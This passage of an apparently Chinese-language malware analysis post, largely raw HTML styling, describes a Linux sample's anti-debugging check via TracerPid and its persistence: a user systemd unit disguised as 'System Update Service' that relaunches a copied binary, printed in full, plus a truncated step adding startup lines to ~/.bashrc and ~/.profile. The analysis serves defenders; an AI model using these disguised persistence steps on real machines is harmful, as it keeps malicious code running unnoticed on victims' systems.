Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="">通过获取 /proc/self/status 文件的内容，判断里面包含的进程状态信息</span></span><code style="box-sizing: inherit;border: 1px solid rgb(225, 234, 239);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;margin: 0px;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">“TracerPid: N”</span></code><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">。</span></span></span></span></p><ul style="box-sizing: inherit;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1.6em;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 2rem;margin: max(3.2vmin, 24px) 0px 0px;padding: 0px 1.5em 0px 1.9em;vertical-align: baseline;max-width: 100%;grid-column: main-start / main-end;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: 1.6em;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 15px;margin: 0px;padding: 0px 0px 0px 0.3em;vertical-align: baseline;"><p style="text-align: left;"><span leaf="">如果 N = 0 → 没有被调试器跟踪。</span></p></li><li style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: 1.6em;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 15px;margin: 0.5em 0px 0px;padding: 0px 0px 0px 0.3em;vertical-align: baseline;"><p style="text-align: left;"><span leaf="">如果 N ≠ 0 → 被某个调试器（如 gdb、strace）附加。</span></p></li></ul><h5 style="box-sizing: inherit;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 600;font-stretch: inherit;line-height: 1.15;font-family: Georgia, Times, serif;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 2rem;margin: 2em 0px 0px;padding: 0px;vertical-align: baseline;text-rendering: optimizelegibility;letter-spacing: -0.01em;grid-column: main-start / main-end;color: rgb(21, 23, 26);orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="font-size: 17px;">3. 持久化</span></span></h5><p style="text-align: left;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><strong style="box-sizing: inherit;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 700;font-stretch: inherit;line-height: inherit;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 15px;margin: 0px;padding: 0px;vertical-align: baseline;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="font-size: 15px;">（1）添加系统服务</span></span></strong></span></span></p><p style="text-align: left;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="">首先在当前用户目录下创建如下目录结构，其中 </span></span><code style="box-sizing: inherit;border: 1px solid rgb(225, 234, 239);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;margin: 0px;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">“/home/username/.config/systemd/user/default.target.wants/system-update.service”</span></code><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">是一个符号链接 指向</span></span><code style="box-sizing: inherit;border: 1px solid rgb(225, 234, 239);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;margin: 0px;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">“/home/username/.config/systemd/user/system-update.service”</span></code><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">。</span></span></span></span></p><p><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><span leaf=""><img alt="systemd-service.png" class="rich_pages wxw-img" data-imgfileid="100000491" data-ratio="0.22314814814814815" data-w="1080" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=44b7c55a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbiadtLKDCnAS4jM6MQNcBkxK1Z8FUe6cDRgN3bDRW7Q7MgRtzYrTZRxj2SvjuPyRUO1JSbSDtZl3vA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></span></span></p><p style="text-align: left;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="">然后将自身 ELF 文件拷贝到</span></span><code style="box-sizing: inherit;border: 1px solid rgb(225, 234, 239);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;margin: 0px;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">“/home/username/.config/systemd/systemd-update”</span></code><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">，并释放服务文件</span></span><code style="box-sizing: inherit;border: 1px solid rgb(225, 234, 239);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;margin: 0px;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">“/home/username/.config/systemd/user/system-update.service”</span></code><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">，主要是保证样本一直处于运行状态，最后使用 systemctl 启动该服务，文件内容如下。</span></span></span></span></span></p><pre style="box-sizing: inherit;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 1.4rem;margin: max(3.2vmin, 24px) 0px 0px;padding: 16px 20px;vertical-align: baseline;grid-column: main-start / main-end;background: none 0% 0% / auto repeat scroll padding-box border-box rgb(21, 23, 26);border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.1) 0px 2px 6px -2px, rgba(0, 0, 0, 0.4) 0px 0px 1px;color: rgb(229, 239, 245);overflow: auto;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><code style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 1em;margin: 0px;padding: 0px;vertical-align: baseline;"><span leaf=""><span textstyle="" style="font-size: 12px;">[Unit]</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">Description=System Update Service</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">After=network.target</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">[Service]</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">Type=simple</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">ExecStart=/home/username/.config/systemd/systemd-update</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">Restart=always</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">RestartSec=10</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">User=username</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">[Install]</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">WantedBy=default.target</span></span></code></pre><p style="text-align: left;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><strong style="box-sizing: inherit;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 700;font-stretch: inherit;line-height: inherit;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 15px;margin: 0px;padding: 0px;vertical-align: baseline;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">（2）在 ~/.bashrc 和 ~/.profile 文件尾部增加启动指令</span></strong></span></span></span></p><p style="text-align: left;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><code style="box-sizing: inherit;border: 1px solid rgb(225, 234, 239);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;margin: 0px;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 